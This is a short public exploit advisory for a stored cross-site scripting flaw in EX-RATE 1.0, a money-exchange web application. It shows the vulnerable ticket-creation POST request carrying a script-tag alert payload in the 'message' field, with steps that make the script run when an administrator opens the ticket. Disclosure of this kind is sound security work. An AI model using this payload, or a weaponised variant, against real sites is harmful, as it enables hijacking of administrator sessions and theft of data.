# Exploit Title: EX-RATE 1.0 - Stored XSS
# Exploit Author: CraCkEr
# Date: 14/07/2023
# Vendor: Bug Finder
# Vendor Homepage: https://bugfinder.net/
# Software Link: https://bugfinder.net/product/ex-rate-a-complete-money-exchange-solution/14
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Description

Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.



Path: /ex-rate/user/ticket/create

POST parameter 'message' is vulnerable to XSS

-----------------------------------------------------------
POST /ex-rate/user/ticket/create HTTP/2

-----------------------------------------------------------
Content-Disposition: form-data; name="subject"

Anything
-----------------------------------------------------------
Content-Disposition: form-data; name="message"

<script>alert(1)</script>
-----------------------------------------------------------



## Steps to Reproduce:


1. Login as a (Normal User)
2. Go to [Support Ticket] on this Path: https://website/ex-rate/user/ticket
3. Click on [Create Ticket] on this Path: https://website/ex-rate/user/ticket/create
4. Enter Any Subject
5. Inject your XSS Payload in [Message Box]
6. Click on [Submit]

7. When ADMIN visit [SUPPORT TICKETS] on this Path : https://website/ex-rate/admin/tickets and Open the [New Pending Ticket]
8. XSS Will Fire and Executed on his Browser



[-] Done